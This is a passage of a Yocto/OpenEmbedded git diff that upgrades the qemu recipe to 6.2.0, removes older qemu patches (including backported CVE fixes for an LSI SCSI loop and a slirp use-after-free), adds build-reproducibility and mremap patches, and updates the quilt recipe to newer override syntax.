-- max = h2g_valid(max - 1) ? max : (uintptr_t)g2h(GUEST_ADDR_MAX) + 1;
-+ max = h2g_valid(max - 1) ? max : (uintptr_t)g2h(GUEST_ADDR_MAX);
- if (page_check_range(h2g(min), max - min, flags) == -1) {
- continue;
- }
---
-2.22.0
-
diff --git a/meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch b/meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch
index a8ab7daa42..4298964dfa 100644
--- a/meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch
+++ b/meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch
@@ -1,7 +1,7 @@
-From 5214dd4461f2090ef0965b4d2518f49927d61cbc Mon Sep 17 00:00:00 2001
+From b51e6dd833172954c718bd600d846540eeb07220 Mon Sep 17 00:00:00 2001
From: He Zhe <zhe.he@windriver.com>
Date: Wed, 28 Aug 2019 19:56:28 +0800
-Subject: [Qemu-devel] [PATCH] configure: Add pkg-config handling for libgcrypt
+Subject: [PATCH] configure: Add pkg-config handling for libgcrypt
libgcrypt may also be controlled by pkg-config, this patch adds pkg-config
handling for libgcrypt.
@@ -9,85 +9,21 @@ handling for libgcrypt.
Upstream-Status: Denied [https://lists.nongnu.org/archive/html/qemu-devel/2019-08/msg06333.html]
Signed-off-by: He Zhe <zhe.he@windriver.com>
----
- configure | 48 ++++++++++++++++++++++++++++++++++++++++--------
- 1 file changed, 40 insertions(+), 8 deletions(-)
-diff --git a/configure b/configure
-index e44e454..0f362a7 100755
---- a/configure
-+++ b/configure
-@@ -2875,6 +2875,30 @@ has_libgcrypt() {
- return 0
- }
-
-+has_libgcrypt_pkgconfig() {
-+ if ! has $pkg_config ; then
-+ return 1
-+ fi
-+
-+ if ! $pkg_config --list-all | grep libgcrypt > /dev/null 2>&1 ; then
-+ return 1
-+ fi
-+
-+ if test -n "$cross_prefix" ; then
-+ host=$($pkg_config --variable=host libgcrypt)
-+ if test "${host%-gnu}-" != "${cross_prefix%-gnu}" ; then
-+ print_error "host($host) does not match cross_prefix($cross_prefix)"
-+ return 1
-+ fi
-+ fi
-+
-+ if ! $pkg_config --atleast-version=1.5.0 libgcrypt ; then
-+ print_error "libgcrypt version is $($pkg_config --modversion libgcrypt)"
-+ return 1
-+ fi
-+
-+ return 0
-+}
-
- if test "$nettle" != "no"; then
- pass="no"
-@@ -2902,7 +2926,14 @@ fi
-
- if test "$gcrypt" != "no"; then
- pass="no"
-- if has_libgcrypt; then
-+ if has_libgcrypt_pkgconfig; then
-+ gcrypt_cflags=$($pkg_config --cflags libgcrypt)
-+ if test "$static" = "yes" ; then
-+ gcrypt_libs=$($pkg_config --libs --static libgcrypt)
-+ else
-+ gcrypt_libs=$($pkg_config --libs libgcrypt)
-+ fi
-+ elif has_libgcrypt; then
- gcrypt_cflags=$(libgcrypt-config --cflags)
- gcrypt_libs=$(libgcrypt-config --libs)
- # Debian has removed -lgpg-error from libgcrypt-config
-@@ -2912,15 +2943,16 @@ if test "$gcrypt" != "no"; then
- then
- gcrypt_libs="$gcrypt_libs -lgpg-error"
- fi
-+ fi
-
-- # Link test to make sure the given libraries work (e.g for static).
-- write_c_skeleton
-- if compile_prog "" "$gcrypt_libs" ; then
-- LIBS="$gcrypt_libs $LIBS"
-- QEMU_CFLAGS="$QEMU_CFLAGS $gcrypt_cflags"
-- pass="yes"
-- fi
-+ # Link test to make sure the given libraries work (e.g for static).
-+ write_c_skeleton
-+ if compile_prog "" "$gcrypt_libs" ; then
-+ LIBS="$gcrypt_libs $LIBS"
-+ QEMU_CFLAGS="$QEMU_CFLAGS $gcrypt_cflags"
-+ pass="yes"
- fi
-+
- if test "$pass" = "yes"; then
- gcrypt="yes"
- cat > $TMPC << EOF
---
-2.7.4
+---
+ meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+diff --git a/meson.build b/meson.build
+index b3e7ec0e9..4cbe715b7 100644
+--- a/meson.build
++++ b/meson.build
+@@ -874,7 +874,7 @@ endif
+ if not gnutls_crypto.found()
+ if (not get_option('gcrypt').auto() or have_system) and not get_option('nettle').enabled()
+ gcrypt = dependency('libgcrypt', version: '>=1.8',
+- method: 'config-tool',
++ method: 'pkg-config',
+ required: get_option('gcrypt'),
+ kwargs: static_kwargs)
+ # Debian has removed -lgpg-error from libgcrypt-config
diff --git a/meta/recipes-devtools/qemu/qemu/0010-fix-libcap-header-issue-on-some-distro.patch b/meta/recipes-devtools/qemu/qemu/0010-fix-libcap-header-issue-on-some-distro.patch
deleted file mode 100644
index 3a7d7bbd33..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0010-fix-libcap-header-issue-on-some-distro.patch
+++ /dev/null
@@ -1,86 +0,0 @@
-From 9125afb733d8c96416bb83c5adad39bb8d0803a1 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 12 Mar 2013 09:54:06 +0800
-Subject: [PATCH] fix libcap header issue on some distro
-
-1, When build qemu-native on SLED 11.2, there is an error:
-...
-| In file included from /usr/include/bits/sigcontext.h:28,
-| from /usr/include/signal.h:339,
-| from /buildarea2/tmp/work/i686-linux/qemu-native/1.4.0-r0/
-qemu-1.4.0/include/qemu-common.h:42,
-| from fsdev/virtfs-proxy-helper.c:23:
-| /usr/include/asm/sigcontext.h:28: error: expected specifier-
-qualifier-list before '__u64'
-| /usr/include/asm/sigcontext.h:191: error: expected specifier-
-qualifier-list before '__u64'
-...
-
-2, The virtfs-proxy-helper.c includes <sys/capability.h> and
-qemu-common.h in sequence. The header include map is:
-(`-->' presents `include')
-...
-"virtfs-proxy-helper.c" --> <sys/capability.h>
-...
-"virtfs-proxy-helper.c" --> "qemu-common.h" --> <signal.h> -->
-<bits/sigcontext.h> --> <asm/sigcontext.h> --> <linux/types.h> -->
-<asm/types.h> --> <asm-generic/types.h> --> <asm-generic/int-ll64.h>
-...
-
-3, The bug is found on SLED 11.2 x86. In libcap header file
-/usr/include/sys/capability.h, it does evil stuff like this:
-...
- 25 /*
- 26 * Make sure we can be included from userland by preventing
- 27 * capability.h from including other kernel headers
- 28 */
- 29 #define _LINUX_TYPES_H
- 30 #define _LINUX_FS_H
- 31 #define __LINUX_COMPILER_H
- 32 #define __user
- 33
- 34 typedef unsigned int __u32;
- 35 typedef __u32 __le32;
-...
-This completely prevents including /usr/include/linux/types.h.
-The above `<asm/sigcontext.h> --> <linux/types.h>' is prevented,
-and '__u64' is defined in <asm-generic/int-ll64.h>.
-
-4, Modify virtfs-proxy-helper.c to include <sys/capability.h>
-last to workaround the issue.
-
-http://www.linuxtv.org/pipermail/vdr/2009-August/021194.html
-http://patchwork.linuxtv.org/patch/12748/
-
-Upstream-Status: Pending
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- fsdev/virtfs-proxy-helper.c | 7 +++++--
- 1 file changed, 5 insertions(+), 2 deletions(-)
-
-diff --git a/fsdev/virtfs-proxy-helper.c b/fsdev/virtfs-proxy-helper.c
-index 6f132c5f..8329950c 100644
---- a/fsdev/virtfs-proxy-helper.c
-+++ b/fsdev/virtfs-proxy-helper.c
-@@ -13,7 +13,6 @@
- #include <sys/resource.h>
- #include <getopt.h>
- #include <syslog.h>
--#include <sys/capability.h>
- #include <sys/fsuid.h>
- #include <sys/vfs.h>
- #include <sys/ioctl.h>
-@@ -27,7 +26,11 @@
- #include "9p-iov-marshal.h"
- #include "hw/9pfs/9p-proxy.h"
- #include "fsdev/9p-iov-marshal.h"
--
-+/*
-+ * Include this one last due to some versions of it being buggy:
-+ * http://www.linuxtv.org/pipermail/vdr/2009-August/021194.html
-+ */
-+#include <sys/capability.h>
- #define PROGNAME "virtfs-proxy-helper"
-
- #ifndef XFS_SUPER_MAGIC
diff --git a/meta/recipes-devtools/qemu/qemu/0011-cpus.c-Add-error-messages-when-qemi_cpu_kick_thread-.patch b/meta/recipes-devtools/qemu/qemu/0011-cpus.c-Add-error-messages-when-qemi_cpu_kick_thread-.patch
deleted file mode 100644
index e5ebfc1267..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0011-cpus.c-Add-error-messages-when-qemi_cpu_kick_thread-.patch
+++ /dev/null
@@ -1,74 +0,0 @@
-From 0a53e906510cce1f32bc04a11e81ea40f834dac4 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Wed, 12 Aug 2015 15:11:30 -0500
-Subject: [PATCH] cpus.c: Add error messages when qemi_cpu_kick_thread fails.
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Add custom_debug.h with function for print backtrace information.
-When pthread_kill fails in qemu_cpu_kick_thread display backtrace and
-current cpu information.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
-
----
- cpus.c | 5 +++++
- custom_debug.h | 24 ++++++++++++++++++++++++
- 2 files changed, 29 insertions(+)
- create mode 100644 custom_debug.h
-
-diff --git a/cpus.c b/cpus.c
-index e83f72b4..e6e2576e 100644
---- a/cpus.c
-+++ b/cpus.c
-@@ -1769,6 +1769,8 @@ static void *qemu_tcg_cpu_thread_fn(void *arg)
- return NULL;
- }
-
-+#include "custom_debug.h"
-+
- static void qemu_cpu_kick_thread(CPUState *cpu)
- {
- #ifndef _WIN32
-@@ -1781,6 +1783,9 @@ static void qemu_cpu_kick_thread(CPUState *cpu)
- err = pthread_kill(cpu->thread->thread, SIG_IPI);
- if (err && err != ESRCH) {
- fprintf(stderr, "qemu:%s: %s", __func__, strerror(err));
-+ fprintf(stderr, "CPU #%d:\n", cpu->cpu_index);
-+ cpu_dump_state(cpu, stderr, 0);
-+ backtrace_print();
- exit(1);
- }
- #else /* _WIN32 */
-diff --git a/custom_debug.h b/custom_debug.h
-new file mode 100644
-index 00000000..f029e455
---- /dev/null
-+++ b/custom_debug.h
-@@ -0,0 +1,24 @@
-+#include <execinfo.h>
-+#include <stdio.h>
-+#define BACKTRACE_MAX 128
-+static void backtrace_print(void)
-+{
-+ int nfuncs = 0;
-+ void *buf[BACKTRACE_MAX];
-+ char **symbols;
-+ int i;
-+
-+ nfuncs = backtrace(buf, BACKTRACE_MAX);
-+
-+ symbols = backtrace_symbols(buf, nfuncs);
-+ if (symbols == NULL) {
-+ fprintf(stderr, "backtrace_print failed to get symbols");
-+ return;
-+ }
-+
-+ fprintf(stderr, "Backtrace ...\n");
-+ for (i = 0; i < nfuncs; i++)
-+ fprintf(stderr, "%s\n", symbols[i]);
-+
-+ free(symbols);
-+}
diff --git a/meta/recipes-devtools/qemu/qemu/CVE-2019-12068.patch b/meta/recipes-devtools/qemu/qemu/CVE-2019-12068.patch
deleted file mode 100644
index f1655e407f..0000000000
--- a/meta/recipes-devtools/qemu/qemu/CVE-2019-12068.patch
+++ /dev/null
@@ -1,108 +0,0 @@
-From de594e47659029316bbf9391efb79da0a1a08e08 Mon Sep 17 00:00:00 2001
-From: Paolo Bonzini <pbonzini@redhat.com>
-Date: Wed, 14 Aug 2019 17:35:21 +0530
-Subject: [PATCH] scsi: lsi: exit infinite loop while executing script
- (CVE-2019-12068)
-
-When executing script in lsi_execute_script(), the LSI scsi adapter
-emulator advances 's->dsp' index to read next opcode. This can lead
-to an infinite loop if the next opcode is empty. Move the existing
-loop exit after 10k iterations so that it covers no-op opcodes as
-well.
-
-Upstream-Status: Backport [https://git.qemu.org/?p=qemu.git;a=commit;h=de594e47659029316bbf9391efb79da0a1a08e08]
-CVE: CVE-2019-12068
-
-Reported-by: Bugs SysSec <bugs-syssec@rub.de>
-Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
-Signed-off-by: Prasad J Pandit <pjp@fedoraproject.org>
-Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- hw/scsi/lsi53c895a.c | 41 +++++++++++++++++++++++++++--------------
- 1 file changed, 27 insertions(+), 14 deletions(-)
-
-diff --git a/hw/scsi/lsi53c895a.c b/hw/scsi/lsi53c895a.c
-index 222a286..ec53b14 100644
---- a/hw/scsi/lsi53c895a.c
-+++ b/hw/scsi/lsi53c895a.c
-@@ -186,6 +186,9 @@ static const char *names[] = {
- /* Flag set if this is a tagged command. */
- #define LSI_TAG_VALID (1 << 16)
-
-+/* Maximum instructions to process. */
-+#define LSI_MAX_INSN 10000
-+
- typedef struct lsi_request {
- SCSIRequest *req;
- uint32_t tag;
-@@ -1133,7 +1136,21 @@ static void lsi_execute_script(LSIState *s)
-
- s->istat1 |= LSI_ISTAT1_SRUN;
- again:
-- insn_processed++;
-+ if (++insn_processed > LSI_MAX_INSN) {
-+ /* Some windows drivers make the device spin waiting for a memory
-+ location to change. If we have been executed a lot of code then
-+ assume this is the case and force an unexpected device disconnect.
-+ This is apparently sufficient to beat the drivers into submission.
-+ */
-+ if (!(s->sien0 & LSI_SIST0_UDC)) {
-+ qemu_log_mask(LOG_GUEST_ERROR,
-+ "lsi_scsi: inf. loop with UDC masked");
-+ }
-+ lsi_script_scsi_interrupt(s, LSI_SIST0_UDC, 0);
-+ lsi_disconnect(s);
-+ trace_lsi_execute_script_stop();
-+ return;
-+ }
- insn = read_dword(s, s->dsp);
- if (!insn) {
- /* If we receive an empty opcode increment the DSP by 4 bytes
-@@ -1570,19 +1587,7 @@ again:
- }
- }
- }
-- if (insn_processed > 10000 && s->waiting == LSI_NOWAIT) {
-- /* Some windows drivers make the device spin waiting for a memory
-- location to change. If we have been executed a lot of code then
-- assume this is the case and force an unexpected device disconnect.
-- This is apparently sufficient to beat the drivers into submission.
-- */
-- if (!(s->sien0 & LSI_SIST0_UDC)) {
-- qemu_log_mask(LOG_GUEST_ERROR,
-- "lsi_scsi: inf. loop with UDC masked");
-- }
-- lsi_script_scsi_interrupt(s, LSI_SIST0_UDC, 0);
-- lsi_disconnect(s);
-- } else if (s->istat1 & LSI_ISTAT1_SRUN && s->waiting == LSI_NOWAIT) {
-+ if (s->istat1 & LSI_ISTAT1_SRUN && s->waiting == LSI_NOWAIT) {
- if (s->dcntl & LSI_DCNTL_SSM) {
- lsi_script_dma_interrupt(s, LSI_DSTAT_SSI);
- } else {
-@@ -1970,6 +1975,10 @@ static void lsi_reg_writeb(LSIState *s, int offset, uint8_t val)
- case 0x2f: /* DSP[24:31] */
- s->dsp &= 0x00ffffff;
- s->dsp |= val << 24;
-+ /*
-+ * FIXME: if s->waiting != LSI_NOWAIT, this will only execute one
-+ * instruction. Is this correct?
-+ */
- if ((s->dmode & LSI_DMODE_MAN) == 0
- && (s->istat1 & LSI_ISTAT1_SRUN) == 0)
- lsi_execute_script(s);
-@@ -1988,6 +1997,10 @@ static void lsi_reg_writeb(LSIState *s, int offset, uint8_t val)
- break;
- case 0x3b: /* DCNTL */
- s->dcntl = val & ~(LSI_DCNTL_PFF | LSI_DCNTL_STD);
-+ /*
-+ * FIXME: if s->waiting != LSI_NOWAIT, this will only execute one
-+ * instruction. Is this correct?
-+ */
- if ((val & LSI_DCNTL_STD) && (s->istat1 & LSI_ISTAT1_SRUN) == 0)
- lsi_execute_script(s);
- break;
---
-2.7.4
-
diff --git a/meta/recipes-devtools/qemu/qemu/CVE-2019-15890.patch b/meta/recipes-devtools/qemu/qemu/CVE-2019-15890.patch
deleted file mode 100644
index 1d89431be6..0000000000
--- a/meta/recipes-devtools/qemu/qemu/CVE-2019-15890.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 4fc0d23e8f6d795c679623d2ed2cbe6a7a17b9c7 Mon Sep 17 00:00:00 2001
-From: Li Zhou <li.zhou@windriver.com>
-Date: Tue, 10 Sep 2019 20:02:15 -0700
-Subject: [PATCH] ip_reass: Fix use after free
-
-Using ip_deq after m_free might read pointers from an allocation reuse.
-
-This would be difficult to exploit, but that is still related with
-CVE-2019-14378 which generates fragmented IP packets that would trigger this
-issue and at least produce a DoS.
-
-Signed-off-by: Samuel Thibault <samuel.thibault@ens-lyon.org>
-
-Upstream-Status: Backport
-CVE: CVE-2019-15890
-Signed-off-by: Li Zhou <li.zhou@windriver.com>
----
- slirp/src/ip_input.c | 6 ++++--
- 1 file changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/slirp/src/ip_input.c b/slirp/src/ip_input.c
-index 8c75d914..c07d7d40 100644
---- a/slirp/src/ip_input.c
-+++ b/slirp/src/ip_input.c
-@@ -292,6 +292,7 @@ static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
- */
- while (q != (struct ipasfrag *)&fp->frag_link &&
- ip->ip_off + ip->ip_len > q->ipf_off) {
-+ struct ipasfrag *prev;
- i = (ip->ip_off + ip->ip_len) - q->ipf_off;
- if (i < q->ipf_len) {
- q->ipf_len -= i;
-@@ -299,9 +300,10 @@ static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
- m_adj(dtom(slirp, q), i);
- break;
- }
-+ prev = q;
- q = q->ipf_next;
-- m_free(dtom(slirp, q->ipf_prev));
-- ip_deq(q->ipf_prev);
-+ ip_deq(prev);
-+ m_free(dtom(slirp, prev));
- }
-
- insert:
---
-2.23.0
-
diff --git a/meta/recipes-devtools/qemu/qemu/cross.patch b/meta/recipes-devtools/qemu/qemu/cross.patch
new file mode 100644
index 0000000000..bdb77ec7d0
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/cross.patch
@@ -0,0 +1,40 @@
+From f51ece86f84c877f255746cba22a6745f37d2b7f Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 5 Jan 2021 23:00:14 +0000
+Subject: [PATCH] qemu: Upgrade 5.1.0->5.2.0
+
+We need to be able to trigger configure's cross code but we don't want
+to set cross_prefix as it does other things we don't want. Patch things
+so we can do what we need in the target config case.
+
+Upstream-Status: Inappropriate [may be rewritten in a way upstream may accept?]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ configure | 4 ----
+ 1 file changed, 4 deletions(-)
+
+diff --git a/configure b/configure
+index 9a79a004d..563b7827f 100755
+--- a/configure
++++ b/configure
+@@ -5128,7 +5128,6 @@ if test "$skip_meson" = no; then
+ fi
+ echo "strip = [$(meson_quote $strip)]" >> $cross
+ echo "windres = [$(meson_quote $windres)]" >> $cross
+- if test "$cross_compile" = "yes"; then
+ cross_arg="--cross-file config-meson.cross"
+ echo "[host_machine]" >> $cross
+ if test "$mingw32" = "yes" ; then
+@@ -5160,9 +5159,6 @@ if test "$skip_meson" = no; then
+ else
+ echo "endian = 'little'" >> $cross
+ fi
+- else
+- cross_arg="--native-file config-meson.cross"
+- fi
+ mv $cross config-meson.cross
+
+ rm -rf meson-private meson-info meson-logs
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/qemu/qemu/determinism.patch b/meta/recipes-devtools/qemu/qemu/determinism.patch
new file mode 100644
index 0000000000..330a31204d
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/determinism.patch
@@ -0,0 +1,22 @@
+When sources are included within debug information, a couple of areas of the
+qemu build are not reproducible due to either full buildpaths or timestamps.
+
+Replace the full paths with relative ones. I couldn't figure out how to get
+meson to pass relative paths but we can fix that in the script.
+
+Upstream-Status: Pending [some version of all/part of this may be accepted]
+RP 2021/3/1
+
+Index: qemu-6.0.0/scripts/decodetree.py
+===================================================================
+--- qemu-6.0.0.orig/scripts/decodetree.py
++++ qemu-6.0.0/scripts/decodetree.py
+@@ -1304,7 +1304,7 @@ def main():
+ toppat = ExcMultiPattern(0)
+
+ for filename in args:
+- input_file = filename
++ input_file = os.path.relpath(filename)
+ f = open(filename, 'rt', encoding='utf-8')
+ parse_file(f, toppat)
+ f.close()
diff --git a/meta/recipes-devtools/qemu/qemu/mmap2.patch b/meta/recipes-devtools/qemu/qemu/mmap2.patch
new file mode 100644
index 0000000000..e115473b70
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/mmap2.patch
@@ -0,0 +1,39 @@
+When using qemu-i386 to build qemux86 webkitgtk on musl, it sits in an
+infinite loop of mremap calls of ever decreasing/increasing addresses.
+
+I suspect something in the musl memory allocation code loops indefinitely
+if it only sees ENOMEM and only exits when it hits EFAULT.
+
+According to the docs, trying to mremap outside the address space
+can/should return EFAULT and changing this allows the build to succeed.
+
+A better return value for the other cases of invalid addresses is EINVAL
+rather than ENOMEM so adjust the other part of the test to this.
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/qemu-devel/2021-01/msg01355.html]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org
+
+Index: qemu-6.0.0/linux-user/mmap.c
+===================================================================
+--- qemu-6.0.0.orig/linux-user/mmap.c
++++ qemu-6.0.0/linux-user/mmap.c
+@@ -733,12 +733,16 @@ abi_long target_mremap(abi_ulong old_add
+ int prot;
+ void *host_addr;
+
+- if (!guest_range_valid_untagged(old_addr, old_size) ||
+- ((flags & MREMAP_FIXED) &&
++ if (!guest_range_valid_untagged(old_addr, old_size)) {
++ errno = EFAULT;
++ return -1;
++ }
++
++ if (((flags & MREMAP_FIXED) &&
+ !guest_range_valid_untagged(new_addr, new_size)) ||
+ ((flags & MREMAP_MAYMOVE) == 0 &&
+ !guest_range_valid_untagged(old_addr, new_size))) {
+- errno = ENOMEM;
++ errno = EINVAL;
+ return -1;
+ }
+
diff --git a/meta/recipes-devtools/qemu/qemu/run-ptest b/meta/recipes-devtools/qemu/qemu/run-ptest
index 2206b31922..f9a4e8fb2b 100644
--- a/meta/recipes-devtools/qemu/qemu/run-ptest
+++ b/meta/recipes-devtools/qemu/qemu/run-ptest
@@ -7,4 +7,7 @@ ptestdir=$(dirname "$(readlink -f "$0")")
export SRC_PATH=$ptestdir
cd $ptestdir/tests
-make -f Makefile.include -k runtest-TESTS | sed '/: OK/ s/^/PASS: /g'
+tests=$(find . -name "test-*" ! -name "*.p")
+for f in $tests; do
+ $f | sed '/^ok/ s/ok/PASS:/g'
+done
diff --git a/meta/recipes-devtools/qemu/qemu_4.1.0.bb b/meta/recipes-devtools/qemu/qemu_4.1.0.bb
deleted file mode 100644
index f0c1daabe1..0000000000
--- a/meta/recipes-devtools/qemu/qemu_4.1.0.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-BBCLASSEXTEND = "nativesdk"
-
-require qemu.inc
-
-# error: a parameter list without types is only allowed in a function definition
-# void (*_function)(sigval_t);
-COMPATIBLE_HOST_libc-musl = 'null'
-
-DEPENDS = "glib-2.0 zlib pixman bison-native"
-
-RDEPENDS_${PN}_class-target += "bash"
-
-EXTRA_OECONF_append_class-target = " --target-list=${@get_qemu_target_list(d)}"
-EXTRA_OECONF_append_class-target_mipsarcho32 = "${@bb.utils.contains('BBEXTENDCURR', 'multilib', ' --disable-capstone', '', d)}"
-EXTRA_OECONF_append_class-nativesdk = " --target-list=${@get_qemu_target_list(d)}"
-
-do_install_append_class-nativesdk() {
- ${@bb.utils.contains('PACKAGECONFIG', 'gtk+', 'make_qemu_wrapper', '', d)}
-}
-
-PACKAGECONFIG ??= " \
- fdt sdl kvm \
- ${@bb.utils.filter('DISTRO_FEATURES', 'alsa xen', d)} \
-"
-PACKAGECONFIG_class-nativesdk ??= "fdt sdl kvm"
diff --git a/meta/recipes-devtools/qemu/qemu_6.2.0.bb b/meta/recipes-devtools/qemu/qemu_6.2.0.bb
new file mode 100644
index 0000000000..c7eef0a9d5
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu_6.2.0.bb
@@ -0,0 +1,25 @@
+BBCLASSEXTEND = "nativesdk"
+
+require qemu.inc
+
+DEPENDS = "glib-2.0 zlib pixman bison-native ninja-native meson-native"
+
+DEPENDS:append:libc-musl = " libucontext"
+
+CFLAGS += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', '-DEGL_NO_X11=1', d)}"
+
+RDEPENDS:${PN}:class-target += "bash"
+
+EXTRA_OECONF:append:class-target = " --target-list=${@get_qemu_target_list(d)}"
+EXTRA_OECONF:append:class-target:mipsarcho32 = "${@bb.utils.contains('BBEXTENDCURR', 'multilib', ' --disable-capstone', '', d)}"
+EXTRA_OECONF:append:class-nativesdk = " --target-list=${@get_qemu_target_list(d)}"
+
+PACKAGECONFIG ??= " \
+ fdt sdl kvm pie \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'alsa xen', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'seccomp', d)} \
+"
+PACKAGECONFIG:class-nativesdk ??= "fdt sdl kvm pie \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '', d)} \
+"
diff --git a/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb b/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb
index a0448a1803..97b44ad2e5 100644
--- a/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb
+++ b/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb
@@ -18,6 +18,7 @@ do_install () {
cat >> ${D}${bindir_crossscripts}/${MLPREFIX}qemuwrapper << EOF
#!/bin/sh
+# Wrapper script to run binaries under qemu user-mode emulation
set -x
if [ ${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d)} = False -a "${PN}" != "nativesdk-qemuwrapper-cross" ]; then
diff --git a/meta/recipes-devtools/quilt/quilt-native_0.66.bb b/meta/recipes-devtools/quilt/quilt-native_0.67.bb
index 22374425fa..22374425fa 100644
--- a/meta/recipes-devtools/quilt/quilt-native_0.66.bb
+++ b/meta/recipes-devtools/quilt/quilt-native_0.67.bb
diff --git a/meta/recipes-devtools/quilt/quilt.inc b/meta/recipes-devtools/quilt/quilt.inc
index d6d06c049c..07611e6d85 100644
--- a/meta/recipes-devtools/quilt/quilt.inc
+++ b/meta/recipes-devtools/quilt/quilt.inc
@@ -4,7 +4,7 @@ track of the changes each patch makes. Patches can be applied, un-applied,\
refreshed, etc."
HOMEPAGE = "http://savannah.nongnu.org/projects/quilt/"
SECTION = "devel"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
SRC_URI = "${SAVANNAH_GNU_MIRROR}/quilt/quilt-${PV}.tar.gz \
@@ -14,36 +14,36 @@ SRC_URI = "${SAVANNAH_GNU_MIRROR}/quilt/quilt-${PV}.tar.gz \
file://0001-tests-Allow-different-output-from-mv.patch \
"
-SRC_URI_append_class-target = " file://gnu_patch_test_fix_target.patch"
+SRC_URI:append:class-target = " file://gnu_patch_test_fix_target.patch"
-SRC_URI[md5sum] = "6800c2404a2c0598ab2eff92a636ba70"
-SRC_URI[sha256sum] = "314b319a6feb13bf9d0f9ffa7ce6683b06919e734a41275087ea457cc9dc6e07"
+SRC_URI[sha256sum] = "3be3be0987e72a6c364678bb827e3e1fcc10322b56bc5f02b576698f55013cc2"
inherit autotools-brokensep ptest
-INHIBIT_AUTOTOOLS_DEPS_class-native = "1"
-PATCHTOOL_class-native = "patch"
+INHIBIT_AUTOTOOLS_DEPS:class-native = "1"
+PATCHTOOL:class-native = "patch"
CLEANBROKEN = "1"
-EXTRA_OECONF = "--with-perl='${USRBINPATH}/env perl' --with-patch=patch"
-EXTRA_OECONF_append_class-native = " --disable-nls"
+EXTRA_OECONF = "--with-perl='${USRBINPATH}/env perl' --with-patch=patch --without-sendmail"
+EXTRA_OECONF:append:class-native = " --disable-nls"
+
EXTRA_AUTORECONF += "--exclude=aclocal"
-CACHED_CONFIGUREVARS += "ac_cv_path_BASH=/bin/bash"
+CACHED_CONFIGUREVARS += "ac_cv_path_BASH=/bin/bash ac_cv_path_COLUMN=column"
# Make sure we don't have "-w" in shebang lines: it breaks using
# "/usr/bin/env perl" as parser
-do_configure_prepend () {
+do_configure:prepend () {
find ${S} -name "*.in" -exec sed -i -e "1s,^#\!.*@PERL@ -w$,#\! @PERL@\nuse warnings;," {} \;
}
# Don't setup symlinks to host utilities, we don't need them
-do_configure_append () {
+do_configure:append () {
sed -e 's,^COMPAT_SYMLINKS.*:=.*,COMPAT_SYMLINKS :=,' -i ${S}/Makefile
}
-do_configure_class-native () {
+do_configure:class-native () {
oe_runconf
}
@@ -54,7 +54,7 @@ do_install () {
rm -rf ${D}/${datadir}/emacs
}
-do_install_append_class-native () {
+do_install:append:class-native () {
# Dummy quiltrc file for patch.bbclass
install -d ${D}${sysconfdir}/
touch ${D}${sysconfdir}/quiltrc
@@ -75,16 +75,16 @@ do_install_ptest() {
PACKAGES += "guards guards-doc"
-FILES_${PN} = "${sysconfdir} ${datadir}/quilt \
+FILES:${PN} = "${sysconfdir} ${datadir}/quilt \
${bindir}/quilt ${libdir}/quilt"
-FILES_guards = "${bindir}/guards"
-FILES_${PN}-doc = "${mandir}/man1/quilt.1 ${docdir}/${BPN}"
-FILES_guards-doc = "${mandir}/man1/guards.1"
+FILES:guards = "${bindir}/guards"
+FILES:${PN}-doc = "${mandir}/man1/quilt.1 ${docdir}/${BPN}"
+FILES:guards-doc = "${mandir}/man1/guards.1"
-RDEPENDS_${PN} = "bash patch diffstat bzip2 util-linux less"
-RDEPENDS_${PN}_class-native = "diffstat-native patch-native bzip2-native"
+RDEPENDS:${PN} = "bash patch diffstat bzip2 util-linux less"
+RDEPENDS:${PN}:class-native = "diffstat-native patch-native bzip2-native"
-RDEPENDS_${PN}-ptest = "make file sed gawk diffutils findutils ed perl \
